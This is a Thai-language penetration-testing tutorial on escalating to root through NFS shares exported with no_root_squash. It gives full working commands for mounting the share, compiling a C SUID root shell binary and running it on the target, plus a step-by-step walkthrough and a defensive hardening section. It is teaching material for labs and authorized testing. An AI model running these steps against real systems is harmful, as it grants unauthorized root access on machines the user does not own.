NFS no_root_squash
NFS no_root_squash เป็น misconfiguration ที่ทำให้ root บนเครื่อง client มีสิทธิ์ root บน NFS share ด้วย — เราสร้างไฟล์ SUID เป็น root บน share จากเครื่องที่เราคุม root แล้วรันบนเป้าหมายเพื่อยกระดับ บทนี้ลงลึกกลไก root squashing, การหา share, การ exploit, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — root squashing
ปกติ NFS ใช้ root_squash: เมื่อ root บนเครื่อง client เขียนไฟล์บน share จะถูก 'squash' เป็น user nobody (กัน client ปลอมเป็น root บน server) แต่ถ้า share ตั้ง no_root_squash — root บน client = root บน share จริงๆ ช่องโหว่: ถ้าเราคุม root บนเครื่องหนึ่ง (เช่น Kali ของเรา) mount share แล้วสร้างไฟล์ SUID root บน share ไฟล์นั้นจะเป็น SUID root จริงเมื่อเป้าหมายเห็น — รันแล้วได้ root บนเป้าหมาย
2. หา NFS share + no_root_squash
# บนเป้าหมาย: ดู export config
cat /etc/exports
# มองหา no_root_squash เช่น:
# /shared *(rw,no_root_squash) ← ช่องโหว่!
# จากเครื่องเรา: list share ของเป้าหมาย
showmount -e TARGET_IP
# เห็น export ที่ share อยู่
# ตรวจว่า rw ไหม (ต้องเขียนได้)3. Exploit (ต้องมี root บนเครื่องเรา)
# === บนเครื่องเรา (ที่เราเป็น root, เช่น Kali) ===
# 1. mount share ของเป้าหมาย
mkdir /mnt/nfs
mount -o rw TARGET_IP:/shared /mnt/nfs
# 2. สร้าง SUID binary (เป็น root → ไฟล์เป็น root เพราะ no_root_squash)
cat > /mnt/nfs/shell.c << 'C'
#include <stdio.h>
#include <unistd.h>
int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; }
C
gcc /mnt/nfs/shell.c -o /mnt/nfs/shell
chmod +s /mnt/nfs/shell # ตั้ง SUID (เป็น root)
# === บนเป้าหมาย (user ธรรมดา) ===
# ไฟล์ /shared/shell เป็น SUID root → รันได้ root
cd /shared
./shell # → root shell!4. การป้องกัน
- ใช้ root_squash (default) เสมอ — อย่าตั้ง no_root_squash เว้นจำเป็นจริง
- ตั้ง share เป็น read-only ถ้าไม่ต้องเขียน
- จำกัด export เฉพาะ IP ที่เชื่อถือ (ไม่ใช่
*) - ใช้
nosuidoption บน mount/export → SUID บน share ไม่ทำงาน - ใช้ NFSv4 + Kerberos auth
- audit /etc/exports เป็นระยะ
5. Quick Reference
- no_root_squash = root บน client เป็น root บน share
- หา: cat /etc/exports (no_root_squash); showmount -e TARGET
- exploit (ต้องมี root บนเครื่องเรา): mount → สร้าง SUID root C binary
- บนเป้าหมาย: รันไฟล์ SUID นั้น → root
- compile บนเครื่องเราได้ (ไม่ต้องมี gcc บนเป้า)
- ป้องกัน: root_squash, nosuid, จำกัด IP, read-only
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ enumerate เจอว่าเป้าหมายเปิด NFS ไว้ (port 2049) มีแค่ Kali ที่เราเป็น root อยู่แล้ว ลองเช็คว่า share นั้นตั้ง no_root_squash ไหม ทำตามนี้ทีละขั้น
- 1จากเครื่อง Kali พิมพ์ showmount -e TARGET_IP ดูว่ามี share อะไรให้ mount บ้าง
- 2ถ้ามี shell บนเป้าหมายอยู่แล้ว พิมพ์ cat /etc/exports ดูว่ามี no_root_squash และเป็น rw ไหม
- 3บนเครื่อง Kali พิมพ์ mkdir /mnt/nfs แล้ว mount -o rw TARGET_IP:/shared /mnt/nfs
- 4ทดสอบเขียนไฟล์ก่อนด้วย touch /mnt/nfs/test — ถ้าเขียนไม่ได้ (readonly) แปลว่าใช้ไม่ได้ ให้หยุดตรงนี้
- 5ถ้าเขียนได้ ให้เขียนไฟล์ C เล็กๆ ที่เรียก setuid(0); setgid(0); system("/bin/bash -p") ลงใน /mnt/nfs
- 6รัน gcc /mnt/nfs/shell.c -o /mnt/nfs/shell บนเครื่อง Kali (เป็น root)
- 7รัน chmod +s /mnt/nfs/shell ตั้ง SUID bit (เพราะเราเป็น root ไฟล์นี้จะเป็น SUID root จริง)
- 8กลับไปที่ shell บนเป้าหมาย พิมพ์ cd /shared แล้ว ./shell
- 9พิมพ์ id ทันที ถ้าเห็น uid=0(root) แปลว่าสำเร็จ ถ้าไม่ใช่ (เช่น mount ด้วย nosuid) ให้ไปช่องทางอื่น
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| list NFS share จากภายนอก | showmount | - | - |
| mount share เข้าเครื่อง Kali | mount | - | - |
| compile SUID C binary | gcc | - | - |
| ตรวจ export config บนเป้าหมาย | cat /etc/exports | - | - |
| scan port NFS (2049) ตอน recon | nmap | - | - |
| เก็บข้อมูล enumeration เสริม | - | linpeas | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้